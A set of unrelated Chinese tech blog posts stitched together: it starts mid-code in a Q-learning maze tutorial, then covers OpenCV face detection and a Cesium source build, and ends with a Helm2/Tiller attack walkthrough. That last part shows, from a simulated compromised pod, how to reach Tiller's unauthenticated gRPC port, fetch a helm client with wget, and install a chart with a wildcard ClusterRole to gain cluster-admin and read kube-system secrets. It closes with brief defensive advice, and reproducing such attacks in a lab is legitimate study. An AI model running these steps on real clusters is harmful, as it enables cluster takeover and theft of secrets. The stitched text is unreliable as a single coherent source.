            max_index_list.append(index)
    return random.choice(max_index_list)

该方法首先获取最大值对应的动作,遍历Q表中的所有动作,找到最大值所对应的所有动作,最后从这些动作中随机选择一个作为最终的动作。

定义环境

下述定义了一个迷宫环境:

class MazeEnv:
    def __init__(self,size):
        self.size = size
        self.actions = [0,1,2,3]
        self.maze,self.start,self.end = self.generate(size)
	
    # 重置状态
    def reset(self):
        self.state = self.start
        self.goal = self.end
        self.path = [self.start]
        self.solve = np.zeros_like(self.maze)
        self.solve[self.start] = 1
        self.solve[self.end] = 1
        return self.state

    def step(self, action):
        # 执行动作
        next_state = None
        if action == 0 and self.state[0] > 0:
            next_state = (self.state[0]-1, self.state[1])
        elif action == 1 and self.state[0] < self.size-1:
            next_state = (self.state[0]+1, self.state[1])
        elif action == 2 and self.state[1] > 0:
            next_state = (self.state[0], self.state[1]-1)
        elif action == 3 and self.state[1] < self.size-1:
            next_state = (self.state[0], self.state[1]+1)
        else:
            next_state = self.state

        if next_state == self.goal:
            reward = 100
        elif self.maze[next_state] == -1:
            reward = -100
        else:
            reward = -1

        self.state = next_state  # 更新状态
        self.path.append(self.state)
        self.solve[self.state] = 1

        done = (self.state == self.goal)  # 判断是否结束

        return next_state, reward, done

    @staticmethod
    # 生成迷宫图像
    def generate(size):
        maze = np.zeros((size, size))
        # Start and end points
        start = (random.randint(0, size-1), 0)
        end = (random.randint(0, size-1), size-1)
        maze[start] = 1
        maze[end] = 1
        # Generate maze walls
        for i in range(size * size):
            x, y = random.randint(0, size-1), random.randint(0, size-1)
            if (x, y) == start or (x, y) == end:
                continue
            if random.random() < 0.2:
                maze[x, y] = -1
            if np.sum(np.abs(maze)) == size*size - 2:
                break
        return maze, start, end

    @staticmethod
    # BFS求出路径
    def solve_maze(maze, start, end):
        size = maze.shape[0]
        visited = np.zeros((size, size))
        solve = np.zeros((size,size))
        queue = [start]
        visited[start[0],start[1]] = 1
        while queue:
            x, y = queue.pop(0)
            if (x, y) == end:
                break
            for dx, dy in [(0, 1), (0, -1), (1, 0), (-1, 0)]:
                nx, ny = x + dx, y + dy
                if nx < 0 or nx >= size or ny < 0 or ny >= size or visited[nx, ny] or maze[nx, ny] == -1:
                    continue
                queue.append((nx, ny))
                visited[nx, ny] = visited[x, y] + 1
        if visited[end[0],end[1]] == 0:
            return solve,[]
        path = [end]
        x, y = end
        while (x, y) != start:
            for dx, dy in [(0, 1), (0, -1), (1, 0), (-1, 0)]:
                nx, ny = x + dx, y + dy
                if nx < 0 or nx >= size or ny < 0 or ny >= size or visited[nx, ny] != visited[x, y] - 1:
                    continue
                path.append((nx, ny))
                x, y = nx, ny
                break

        points = path[::-1]  # 倒序
        for point in points:
            solve[point[0]][point[1]] = 1
        return solve, points

执行

下面生成一个32*32的迷宫,并进行30000次迭代

maze_size = 32

# 创建迷宫环境
env = MazeEnv(maze_size)

# 初始化QLearning智能体
agent = QLearningAgent(actions=env.actions,size=maze_size)

# 进行30000次游戏
for episode in range(30000):
    state = env.reset()
    while True:
        action = agent.get_action(state)
        next_state,reward,done = env.step(action)
        agent.learn(state,action,reward,next_state)
        state = next_state
        if done:
            break
print(agent.q_table)  # 输出Q-Table

定义一个函数,用于显示迷宫的路线:

from PIL import Image

def maze_to_image(maze, path):
    size = maze.shape[0]
    img = Image.new('RGB', (size, size), (255, 255, 255))
    pixels = img.load()
    for i in range(size):
        for j in range(size):
            if maze[i, j] == -1:
                pixels[j, i] = (0, 0, 0)
            elif maze[i, j] == 1:
                pixels[j, i] = (0, 255, 0)
    for x, y in path:
        pixels[y, x] = (255, 0, 0)
    return np.array(img)

接下来显示三个图像:迷宫图像、BFS求解的路线、QLearning求解路线:

plt.figure(figsize=(16, 10))

image1 = maze_to_image(env.maze,[])
plt.subplot(1,3,1)
plt.imshow(image1)
plt.title('original maze')

_,path = env.solve_maze(env.maze,env.start,env.end)
image2 = maze_to_image(env.maze,path)
plt.subplot(1,3,2)
plt.imshow(image2)
plt.title('BFS solution')

image3 = maze_to_image(env.maze,env.path)
plt.subplot(1,3,3)
plt.imshow(image3)
plt.title('QL solution')

# 显示图像
plt.show()

显示:

OpenCv人脸检测技术-(实现抖音特效-给人脸戴上墨镜)

本文章用的是Python库里的OpenCv。

OpenCv相关函数说明

import cv2 # 导入OpenCv库
cv2.imread(filename) # 读取图像
object = cv2.CascadeClassifier() # 括号里面填Haar级联分类器
"""
CascadeClassifier,是Opencv中做人脸检测的时候的一个级联分类器。并且既可以使用Haar,也可以使用LBP特征。Haar特征是一种反映图像的灰度变化的,像素分模块求差值的一种特征。
"""
object.detectMultiScale(image, scaleFactor, minNeighbors)
"""
detectMultiScale是CascadeClassifier的子类;
image:待分析的图像。
scaleFactor:扫描图像时缩放的比例。
minNeighbors:保留多少检测结果,该值越大误差越小。
etc...
"""
cv2.waitKey(delay) # 等待用户按下键盘后等待delay毫秒
cv2.destroyAllWindows() # 销毁所有窗口

分析人脸位置

人脸检测,把图像分成一个个小块,对每一个小块判断是否是人脸,假如一张图被分成了5000块,则速度非常慢。
为了提高效率,OpenCV 提供 cascades 来避免这种情况。提供了一系列的xml文件
cascades :翻译 :小瀑布 级联
cascade 对于每个数据块,它都进行一个简单快速的检测。若过,会再进行一个更仔细的检测。该算法有 30 到 50 个这样的阶段,或者说 cascade。只有通过全部阶段,cascade才会判断检测到人脸。这样做的好处是:大多数小块都会在前几步就产生否定反馈,节约时间。
资源链接,该资源不仅仅包括人脸xml,还有其他眼睛等。赚取点积分吧。
OpenCV人脸识别xml文件.zip或者从官网Sources里找资源,data文件夹中有是特征文件,我们一般选用haarcascade_frontalface_default.xml

资料来源于网络,侵删。

import cv2
img = cv2.imread("/Users/duanhao/Desktop/photo/liukun.jpg")
# 加载识别人脸的级联分析器
faceCascade = cv2.CascadeClassifier("/Applications/anaconda/anaconda3/lib/python3.9/site-packages/cv2/data/haarcascade_frontalface_default.xml")
faces = faceCascade.detectMultiScale(img, 1.15, 5)
for (x, y, w, h) in faces:
    cv2.rectangle(img, (x, y), (x + w, y + h), (0, 0, 255), 5)
cv2.imshow("image", img)
cv2.waitKey()
cv2.destroyAllWindows()

给人脸戴上墨镜

准备阶段:我们可以读取视频,也可以读取人脸,这里我准备了一张含有人脸的照片;

如果要读取视频需要用:
VideoCapture
类方法。


素材:一张墨镜

完整记录一次cesium源码从下载、打包、调用、调试的全过程。

本文使用软件或API版本:

VSCode

Node:12.18.3

cesium版本:1.94

总体步骤:

  • 下载源码
  • 执行npm install和npm start启动web服务
  • 打包源码(打包前可以先将申请到的cesium的token更改到ion.js文件中的默认值中)
  • 运行测试html页面,并进行源码调试

详细图文步骤如下:

1、从github上搜索cesium,从Release中找到需要使用的版本,下载Source code(zip)源码

https://github.com/CesiumGS/cesium/archive/refs/tags/1.94.zip

下载成功后,如下所示:

2、使用vscode打开,并执行安装、运行命令

npm install

如果在执行npm install报错,可以尝试多执行几次(有时候发现第一次报错,第二次就成功不错了,具体问题要具体分析),或者根据报错确定缺少哪个依赖包,进行单独安装。

安装完成后,会在目录下生成一个node_modules文件夹

然后执行启动命令

npm start

这样就可以访问Apps里的应用了。默认端口是8080,可以把地址拷贝到浏览器上去访问:

注意:

(1)npm start启动cesium 访问的命令,如果8080端口被占用,需要更改一个新的端口或者用命令起一个新的端口,它没有webpack那么智能,在端口被占用的情况下,自己可以换一个新的端口。

更改默认端口可以在server.cjs中修改:

也可以手动换个端口号运行,执行以下命令:

node server.js --port 8081

(2)Cesium的npm start命令启动的服务, 只能在本机查看 ,不能通过局域网访问,如果需要在局域网内访问,可以执行以下命令:

npm run startPublic

3、运行示例页面
(需要先运行命令打包)

打开Hello World发现页面是空的:(http://localhost:8080/Apps/HelloWorld.html)

没关系,我们可以找到对应Apps目录下的HelloWorld.html,打开它:

发现cesium的引用是在Build目录下,而我们的目录下并没有Build,此时我们需要先进行打包,运行以下命令

npm run minifyRelease 或 npm run minify

运行后,会生成Build\Cesium文件夹(Hello World.html页面引用的api):

如果需要生成可调试的源码,需要使用命令:

npm run combine

这时生成的cesium.js在CesiumUnminified目录下,页面的引用需要修改为:

<script src="../Build/CesiumUnminified/Cesium.js"></script>
    <style>@import url(../Build/CesiumUnminified/Widgets/widgets.css);
html,
body,
#cesiumContainer {
width:
100%;
height:
100%;
margin:
0;
padding:
0;
overflow: hidden;
}
</style>

具体打包命令参考:
https://www.cnblogs.com/kk8085/p/17341177.html

这时候再通过npm start启动web服务,访问Hello World.html:

但是还是报错,没有球体出来,这是因为需要申请cesium token,申请地址:

https://cesium.com/ion/tokens

把申请下来的tokens放在Ion文件defaultAccessToken中或者在调用页面初始化cesium前设置token。

(1)可以找到文件Source\Core\Ion.js,打开修改defaultAccessToken值,这种方式是在源码中修改,修改完后需要重新打包。

(2)在调用页面初始化cesium前设置token

Cesium.Ion.defaultAccessToken =cesium_tk;
let viewer
= new Cesium.Viewer('cesiumContainer', {//baseLayerPicker: false, timeline: true,
homeButton:
true,
fullscreenButton:
true,
infoBox:
true,
animation:
true,
shouldAnimate:
true});

通过修改ion.js文件,重新打包后,在运行,此时Hello World.html访问正常了。

4、可以将自己的测试页面放到Apps下,进行调试:

代码通过使用WebMapServiceImageryProvider、ArcGisMapServerImageryProvider加载ArcGIS全球影像和中国矢量数据,效果如下:

cesiumlayer.html代码:

<!DOCTYPE html>
<htmllang="en">
<head>
    <!--Use correct character set.-->
    <metacharset="utf-8"/>
    <!--Tell IE to use the latest, best version.-->
    <metahttp-equiv="X-UA-Compatible"content="IE=edge"/>
    <!--Make the application on mobile take up the full browser screen and disable user scaling.-->
    <metaname="viewport"content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no"
    />
    <title>cesium加载影像和矢量数据</title>
    <scriptsrc="../Build/CesiumUnminified/Cesium.js"></script>
    <style>@import url(../Build/CesiumUnminified/Widgets/widgets.css);

html,
body,
#cesiumContainer
{width:100%;height:100%;margin:0;padding:0;overflow:hidden; } </style> </head> <body> <divid="cesiumContainer"></div> <script> //天地图token let TDT_tk= "通过天地图官网申请token";//Cesium token let cesium_tk= "通过cesium官网申请获取token";//天地图影像 let TDT_IMG_C= "http://{s}.tianditu.gov.cn/img_c/wmts?service=wmts&request=GetTile&version=1.0.0" + "&LAYER=img&tileMatrixSet=c&TileMatrix={TileMatrix}&TileRow={TileRow}&TileCol={TileCol}" + "&style=default&format=tiles&tk=" +TDT_tk;//标注 let TDT_CIA_C= "http://{s}.tianditu.gov.cn/cia_c/wmts?service=wmts&request=GetTile&version=1.0.0" + "&LAYER=cia&tileMatrixSet=c&TileMatrix={TileMatrix}&TileRow={TileRow}&TileCol={TileCol}" + "&style=default&format=tiles&tk=" +TDT_tk;//初始页面加载 //Cesium.Ion.defaultAccessToken = cesium_tk; let viewer= newCesium.Viewer('cesiumContainer', {//baseLayerPicker: false, timeline:true,
homeButton:
true,
fullscreenButton:
true,
infoBox:
true,
animation:
true,
shouldAnimate:
true,//imageryProvider: layer, //设置默认底图 });
let rightTilt
= true;if(rightTilt) {
viewer.scene.screenSpaceCameraController.tiltEventTypes
=[
Cesium.CameraEventType.RIGHT_DRAG,
Cesium.CameraEventType.PINCH,
{
eventType: Cesium.CameraEventType.LEFT_DRAG,
modifier: Cesium.KeyboardEventModifier.CTRL
},
{
eventType: Cesium.CameraEventType.RIGHT_DRAG,
modifier: Cesium.KeyboardEventModifier.CTRL
}
]
viewer.scene.screenSpaceCameraController.zoomEventTypes
=[
Cesium.CameraEventType.MIDDLE_DRAG,
Cesium.CameraEventType.WHEEL,
Cesium.CameraEventType.PINCH
]
}

viewer.imageryLayers.remove(viewer.imageryLayers.get(
0))//添加tms let tms={};
tms.url
= "http://10.0.7.16:81/tms";if(tms) {
const layerInfo
={
url: tms.url,
fileExtension: tms.fileExtension
|| 'jpg',
maximumLevel: tms.maxZoom
|| 7,
name:
'tms'}
const tmsService
= newCesium.TileMapServiceImageryProvider(layerInfo)
tmsService.layerInfo
=layerInfo
}
//添加地形 let terrain={};
terrain.url
= "http://data.marsgis.cn/terrain";if(terrain) {
const terrainLayer
= newCesium.CesiumTerrainProvider({
url: terrain.url
})
viewer.terrainProvider
=terrainLayer
}

_matrixIds
=["1","2","3","4","5","6","7","8","9","10","11","12","13","14","15","16","17","18"]//调用影响中文注记服务 /*viewer.imageryLayers.addImageryProvider(new Cesium.WebMapTileServiceImageryProvider({
url: TDT_CIA_C,
layer: "tdtImg_c",
style: "default",
format: "tiles",
tileMatrixSetID: "c",
subdomains: ["t0", "t1", "t2", "t3", "t4", "t5", "t6", "t7"],
tilingScheme: new Cesium.GeographicTilingScheme(),
tileMatrixLabels: ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13", "14", "15", "16", "17", "18", "19"],
maximumLevel: 50,
show: false
}))
*/ //使用ArcGisMapServerImageryProvider加载影像没成功,改用WebMapServiceImageryProvider //var world = new Cesium.ArcGisMapServerImageryProvider({ //url:'http://10.1.88.200:6080/arcgis/rest/services/test/globaltdt5/MapServer', //}); //viewer.imageryLayers.addImageryProvider(world); vararcgisyx= newCesium.WebMapServiceImageryProvider({
url:
'http://10.1.88.200:6080/arcgis/rest/services/test/globaltdt5/MapServer/tile/{z}/{y}/{x}',
layers:[
0]
});
viewer.imageryLayers.addImageryProvider(arcgisyx);
varchina= newCesium.ArcGisMapServerImageryProvider({
url:
'http://10.1.88.200:6080/arcgis/rest/services/test/china4490/MapServer'});
viewer.imageryLayers.addImageryProvider(china);
</script> </body> </html>

此时可以调试cesium源码了,如调试cesium中的ArcGisMapServerImageryProvider.js文件,通过搜索查看源码:

参考
http://rui0.cn/archives/1573

英文文章
https://blog.ropnop.com/attacking-default-installs-of-helm-on-kubernetes/

集群后渗透测试资源
https://blog.carnal0wnage.com/2019/01/kubernetes-master-post.html

Helm介绍:

Kubernetes是一个强大的容器调度系统,通常我们会使用一些声明式的定义来在Kubernetes中部署业务。但是当我们开始部署比较复杂的多层架构时,事情往往就会没有那么简单,在这种情况下,我们需要编写和维护多个YAML文件,同时在编写时需要理清各种对象和层级关系。这是一个比较麻烦的事情,所以这个时候Helm出现了。

精选.png

我们熟悉的Python通过pip来管理包,Node.js使用npm管理包。那么在Kubernetes,我们可以使用Helm来管理。它降低了使用Kubernetes的门槛,对于开发者可以很方便的使用Helm打包,管理依赖关系,使用者可以在自己的Kubernetes通过Helm来一键部署所需的应用。
对于Helm本身可以研究的安全风险可以从很多角度来看比如Charts,Image等,详细的内容可以来看CNCF webinars关于Helm Security的一个分享(
https://www.cncf.io/webinars/helm-security-a-look-below-deck/

本篇文章主要讨论的是Helm2的安全风险,因为在Helm2开发的时候,Kubernetes的RBAC体系还没有建立完成,Kubernetes社区直到2017年10月份v1.8版本才默认采用了RBAC权限体系,所以Helm2的架构设计是存在一定安全风险的。

Helm3是在Helm2之上的一次大更改,于2019年11月份正式推出,同时Helm2开始退出历史舞台,到2020年的11月开始停止安全更新。但是目前网络上主流依然为关于Helm2的安装配置文章,所以我们这里将对使用Helm2可能造成的安全风险进行讨论。

Helm2架构

Helm2是CS架构,包括客户端和服务端,即Client和Tiller

Helm Client主要负责跟用户进行交互,通过命令行就可以完成Chart的安装、升级、删除等操作。在收到前端的命令后就可以传输给后端的Tiller使之与集群通信。
其中Tiller是Helm的服务端主要用来接收Helm Client的请求,它们的请求是通过gRPC来传输。实际上它的主要作用就是在Helm2和Kubernetes集群中起到了一个中间人的转发作用,Tiller可以完成部署Chart,管理Release以及在Kubernetes中创建应用。
官方在更新到Helm3中这样说过:

从kubernetes 1.6开始默认开启RBAC。这是Kubernetes安全性/企业可用的一个重要特性。但是在RBAC开启的情况下管理及配置Tiller变的非常复杂。为了简化Helm的尝试成本我们给出了一个不需要关注安全规则的默认配置。但是,这会导致一些用户意外获得了他们并不需要的权限。并且,管理员/SRE需要学习很多额外的知识才能将Tiller部署的到关注安全的生产环境的多租户K8S集群中并使其正常工作。

所以通过我们了解在Helm2这种架构设计下Tiller组件通常会被配置为非常高的权限,也因此会造成安全风险。

  1. 对外暴露端口
  2. 拥有和Kubernetes通信时的高权限(可以进行创建,修改和删除等操作)

因此对于目前将使用Helm的人员请安装Helm3,对于Helm2的使用者请尽快升级到Helm3。针对Helm3,最大的变化就是移除掉Tiller,由此大大简化了Helm的安全模型实现方式。Helm3现在可以支持所有的kubernetes认证及鉴权等全部安全特性。Helm和本地的kubeconfig flie中的配置使用一致的权限。管理员可以按照自己认为合适的粒度来管理用户权限。

安全风险复现

配置Helm2

参考
https://www.cnblogs.com/keithtt/p/13171160.html

官方文档有helm2的快速安装
https://v2.helm.sh/docs/using_helm/#special-note-for-rbac-users

1、使用二进制安装包安装helm客户端

wget https://get.helm.sh/helm-v2.16.9-linux-amd64.tar.gz
tar xvf helm-v2.16.9-linux-amd64.tar.gz
cd linux-amd64
cp -a helm /usr/local/bin/

2、设置命令行自动补全

echo "source <(helm completion bash)" >> ~/.bashrc

3、安装tiller服务端

创建服务账户ServiceAccount:

由于目前K8s都默认启用基于角色的访问控制RBAC,因此,需要为TillerPod创建一个具有正确角色和资源访问权限的ServiceAccount,参考
https://v2.helm.sh/docs/using_helm/#special-note-for-rbac-users
以及
https://blog.ropnop.com/attacking-default-installs-of-helm-on-kubernetes/

Tiller Pod需要提升权限才能与Kubernetes API通信,对服务账户权限的管理通常很棘手且被忽视,因此启动和运行的最简单方法是为Tiller创建一个具有完整集群官员权限的服务账户。

要创建具有cluster-admin权限的ServiceAccount,在YAML中定义一个新的ServiceAccount和ClutserRoleBinding资源文件:

这个操作创建了名为tiller的ServiceAccount,并生成一个secrets token认证文件,为该账户提供完整的集群管理员权限。

# 创建名为tiller的ServiceAccount 并绑定搭配集群管理员 cluster-admin
apiVersion: v1
kind: ServiceAccount
metadata:
  name: tiller
  namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: tiller
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
  - kind: ServiceAccount
    name: tiller
    namespace: kube-system
# 创建
kubectl apply -f helm-rbac.yam

4、初始化Helm

使用新ServiceAccount服务账号初始化Helm,

--tiller-image
指定使用的 Tiller 镜像

--stable-repo-url string
指定稳定存储库的 URL(默认为 "
https://kubernetes-charts.storage.googleapis.com")
,这里指定了 Azure 中国的 Helm 仓库地址来加速 Helm 包的下载。

helm init --service-account tiller --tiller-image=registry.cn-hangzhou.aliyuncs.com/google_containers/tiller:v2.16.6 --stable-repo-url http://mirror.azure.cn/kubernetes/charts
kubectl get deployment tiller-deploy -n kube-system
helm version
Client: &version.Version{SemVer:"v2.16.9", GitCommit:"8ad7037828e5a0fca1009dabe290130da6368e39", GitTreeState:"clean"}
Server: &version.Version{SemVer:"v2.16.6", GitCommit:"dd2e5695da88625b190e6b22e9542550ab503a47", GitTreeState:"clean"}

这个命令会设置客户端,并且在kube-system命名空间中为Tiller创建deployment和service,标签为label app=helm

kubectl -n kube-system get all -l 'app=helm'

也可以查看Tiller deployment被设定为集群管理员服务账号tiller,命令:

kubectl -n kube-system get deployments -l 'app=helm' -o jsonpath='{.items[0].spec.template.spec.serviceAccount}'

5、添加repo,这里需要更改为可用的镜像源

1)官方镜像源为
https://charts.helm.sh/stable

配置官方镜像源命令:
helm repo add stable https://charts.helm.sh/stable

2)GitPage镜像:参考 https://github.com/BurdenBear/kube-charts-mirror 搭建一个自主可控的镜像源 (参考2 http://charts.ost.ai/

3)Aliyun镜像:长时间未更新,版本较旧

helm repo add stable  https://kubernetes.oss-cn-hangzhou.aliyuncs.com/charts/

4)Azure镜像源(有博客说2021.7.8已不可用,但亲测可用)

helm repo add stable http://mirror.azure.cn/kubernetes/charts/
helm repo add incubator http://mirror.azure.cn/kubernetes/charts-incubator/

这里用Azure的镜像源(阿里镜像源过于老,只支持  extensions/v1beta1 版本的 Deployment 对象)

helm repo add stable http://mirror.azure.cn/kubernetes/charts/
# 查看repo配置列表
helm repo list

6、更新repo

helm repo update

7、安装一个app

helm install stable/nginx-ingress --name nginx-ingress --namespace nginx-ingress
helm install stable/owncloud --name owncloud --namespace owncloud
helm ls -a

8、删除一个app

helm delete --purge owncloud

9、卸载helm(tiller)

helm reset --force
kubectl delete service/tiller-deploy -n kube-system
kubectl delete deployment.apps/tiller-deploy -n kube-system

创建应用

上面成功安装Helm2之后,可以看到Tiller已被部署到Kube-system的命名空间下

通过Helm来部署应用,helm install stable/tomcat --name my-tomcat

在没有使用其他flag时,Tiller将所有资源部署到default命名空间中,–name字段将作为release标签应用到资源上,因此可以使用 kubectl get all -l 'release=my-tomcat' 这个命令查看Helm部署的名为my-tomcat的所有资源

Helm通过LoadBalancer服务为我们暴露端口,因此我们如果访问列出的EXTERNAL-IP,可以看到tomcat启动并运行

查看部署情况

模拟入侵

针对集群内的攻击,模拟Tomcat服务被入侵,攻击者拿到了容器的控制权。

通过exec进入容器内:kubectl exec -it my-tomcat-b976c48b6-rfzv8 -- /bin/bash

登录shell后,有几个指标可以快速判断这是一个运行在K8s集群上的容器:

  • /.dockerenv
    文件存在,说明我们在Docker容器里
  • 有几个Kubernetes相关的环境变量

集群后渗透利用有个很好的总结可以参考
https://blog.carnal0wnage.com/2019/01/kubernetes-master-post.html

在k8s环境下的渗透,通常会首先看其中的环境变量,获取集群的相关信息,服务位置以及一些敏感配置文件

了解了k8s API等位置后我们可以通过curl等方式去尝试请求,看是否配置授权,是403禁止匿名访问的;即使我们可以和Kubernetes API交互,但是因为RBAC启用,我们无法获取任何信息

服务侦查

默认情况下,k8s使用kube-dns,查看/etc/resolv.conf可以看到此pod配置使用kube-dns。因为kube-dns中的DNS名遵循这个格式:<svc_name>.<namespace>.svc.cluster.local

利用这个域名解析,我们能够找到其他一些服务,虽然我们在default命名空间中,但重要的是namespace不提供任何安全保障,默认情况下,没有阻止跨命名空间通信的网络策略。

这里我们可以查询在kube-system命名空间下运行的服务,如kube-dns服务本身:注意我们使用的是getent查询域名,因为pod中可能没安装任何标准的dns工具。

$ getent hosts kube-dns.kube-system.svc.cluster.local
10.96.0.10      kube-dns.kube-system.svc.cluster.local

通过DNS枚举其他namespace下正在运行的服务。Tiller在命名空间kube-system中如何创建服务的?它默认名称为tiller-deploy,如果我们用DNS查询可以看到存在的位置。

很好,Tiller安装在了集群中,如何滥用它呢

了解Helm与K8s集群通信方式

Helm 与 kubernetes 集群通信的方式是通过 gRPC 与
tiller-deploy
pod 通信。然后,pod 使用其服务帐户token与 Kubernetes API 通信。当客户端运行Helm命令时,实际上是通过端口转发到集群中,直接与
tiller-deploy
Service通信

该Service始终指向TCP 44134 上的
tiller-deploy
Pod

这种方式可以让Helm命令直接与Tillerr-deploy Pod进行交互,而不必暴露K8s API的直接访问权限给Helm客户端。

也就是说,集群外的用户必须有能力转发访问到集群的端口,因为TCP 44134端口无法从集群外部访问。

然而,对于在K8s集群内的用户而言,44134 TCP端口是可访问的,不用端口转发。

用curl验证端口是否打开: curl tiller-deploy.kube-system.svc.cluster.local:44134

curl失败,但能connect成功连接,因为此端点是与gRPC通信,而不是HTTP。

目前已知我们可以访问端口,如果我们可以发送正确的信息,则可以直接与Tiller通信,因为默认情况下,Tiller不需要进行任何身份验证就可以与gRPC通信。在这个默认安装中Tiller以集群管理员权限运行,基本上可以在没有任何身份验证的情况下运行集群管理命令。

与Tiller通过gRPC通信

所有 gRPC 端点都以Protobuf 格式在
源代码
中定义,因此任何人都可以创建客户端来与 API 通信。但是与 Tiller 通信的最简单方法就是通过普通的 Helm 客户端,它无论如何都是静态二进制文件。

在pod 上,我们可以
helm

官方版本
下载二进制文件。下载并解压到 /tmp:注意可能需要指定下载特定版本。

Helm 提供了 --host 和 HELM_HOST 环境变量选项,可以指定直接连接到 Tiller 的地址。通过使用 Tiller-deploy Service 的完全限定域名(FQDN),我们可以直接与 Tiller Pod 进行通信并运行任意 Helm 命令。

./helm --host tiller-deploy.kube-system.svc.cluster.local:44134 ls

这样我们可以完全控制Tiller,可以做cluster-admin可以用Helm做的任何事情。包括安装 升级 删除版本。但我们仍然不能直接与K8s API通信,所以我们需要滥用Tiller来升级权限成为完整的cluster-admin

针对Helm-Tiller攻击

1、首先通过DNS查看是否存在Tiller服务。为了交互,Tiller的端口会被开放到集群内,根据命名规则我们可以尝试默认Tiller的名称

curl tiller-deploy.kube-system:44134 --output out

可以看到端口是开放的,不过因为连接时通过gRPC的方式交互,所以使用HTTP无法连接。同时在这种情况下我们可以连接Tiller,通过它可以在没有身份验证的情况下执行k8s内的操作

我们可以通过gRPC方式使用Protobuf格式来与其交互,但是过于麻烦。

这里最简单的方式是我们通过Client直接与Tiller连接

2、下载helm客户端到tmp目录下:

wget https://get.helm.sh/helm-v2.16.9-linux-amd64.tar.gz && tar xvf helm-v2.16.9-linux-amd64.tar.gz

尝试请求tiller:
./helm --host tiller-deploy.kube-system:44134 version

连接成功

这意味着我们可以做很多事情。

一个较为麻烦的方式是:比如窃取高权限用户的token,因为我们可以控制tiller意味着我们可以使用这个权限的账户来创建pod,从而获取创建pod后,能够获取到创建pod的token。挂载在pod内路径下/var/run/secrets/
kubernetes.io/serviceaccount/token
。这个token在创建对应pod时被挂载,可以利用这个token完成对k8s的交互。

更加简单粗暴的方式:

1)先下载一个kubectl方便后期交互

查看当前权限可以做的事情
kubectl auth can-i --list

2)查看当前权限能否读取secrets

./kubectl get secrets -n kube-system

看到目前权限不够,我们想要获取到整个集群的权限,即我们希望有一个可以访问所有namespace的ServiceAccount。我们可以把default这个SA赋予ClutsterRole RBAC中的全部权限。

3、这时候需要使用ClusterRole和ClusterRoleBinding这两种对象

  • ClusterRole
    ClusterRole对象可以授予整个集群范围内资源访问权限, 也可以对以下几种资源的授予访问权限:
    • 集群范围资源(例如节点,即node)
    • 非资源类型endpoint(例如”/healthz”)
    • 跨所有namespaces的范围资源(例如pod,需要运行命令kubectl get pods –all-namespaces来查询集群中所有的pod)
  • ClusterRoleBinding
    ClusterRoleBinding在整个集群级别和所有namespaces将特定的subject与ClusterRole绑定,授予权限。

创建两个资源:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: all-your-base
rules:
  - apiGroups: ["*"]
    resources: ["*"]
    verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: belong-to-us
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: all-your-base
subjects:
  - kind: ServiceAccount
    namespace: {{ .Values.namespace }}
    name: {{ .Values.name }}

将它们生成为对应的chart,并下载到被攻击的容器中,之后使用Client进行安装,配置之后便可以进行高权限操作

4、生成charts并安装的过程:

在 Helm 中,可以使用
helm create
命令创建一个新的 Chart,并使用
helm package
命令将 Chart 打包成一个
.tgz
文件,可以在其他机器上使用
helm install
命令来安装该 Chart。

以下是一个简单的示例,演示如何创建一个名为
mychart
的 Chart 并将其打包:

  1. 创建 Chart,该命令将会在当前目录下创建一个 mychart 目录,包含 Chart 所需的模板和示例文件。

    在命令行中执行以下命令,创建一个名为
    mychart
    的 Chart:$ helm create mychart

  2. 修改 Chart


    mychart
    目录中,可以根据需要修改
    Chart.yaml

    values.yaml

    templates
    目录中的模板文件,以定义 Chart 所包含的应用程序、服务和资源等。

  3. 打包 Chart,该命令将会在当前目录下生成一个名为 mychart-x.x.x.tgz 的文件,其中 x.x.x 表示 Chart 的版本号。

    在命令行中执行以下命令,将 Chart 打包成一个
    .tgz
    文件:$ helm package mychart

  4. 下载 Chart:$ helm install mychart mychart-x.x.x.tgz

    可以将生成的 .tgz 文件复制到其他机器上,然后使用 helm install 命令来安装 Chart。例如,执行以下命令将 Chart 安装到 Kubernetes 集群中;

    其中 mychart 是 Chart 的名称,mychart-x.x.x.tgz 是 Chart 打包后的文件名。

直接使用
https://github.com/Ruil1n/helm-tiller-pwn
这里打包好的文件就行

如果有报错提示,需要修改charts打包文件中的模板内容,为支持的版本

错误提示通常是由于 Kubernetes API Server 不支持
rbac.authorization.k8s.io/v1beta1
版本的 ClusterRole 和 ClusterRoleBinding 对象引起的。

这是因为从 Kubernetes 1.22 开始,
rbac.authorization.k8s.io/v1beta1
版本的 ClusterRole 和 ClusterRoleBinding 已经被废弃,并在 Kubernetes 1.22 版本中已经完全删除。

./helm --host  tiller-deploy.kube-system:44134 install pwnchart

可以看到我们提升权限成功,现在已经能够获取到kube-system下的secrets,同时可以进行其他操作。

总结

Helm简化了Kubernetes应用的部署和管理,越来越多的人在生产环境中使用它来部署和管理应用。Helm3是在Helm2之上的一次大更改,主要就是移除了Tiller。由于Helm2基本是去年(2020)年末才完全停止支持,目前仍有大量开发者在使用,所以依旧存在大量安全风险。本文主要从集群内攻击的角度来展示了使用Tiller获取Kubernetes的高权限并且完成敏感操作。
最后我们来说一下如何防御,如果你坚持希望使用Tiller,那么请一定要注意不要对外开放端口,同时配置TLS认证以及严格的RBAC认证(
https://github.com/michelleN/helm-tiller-rbac
)。这里更建议大家尽快升级Helm2到Helm3以及直接使用Helm3。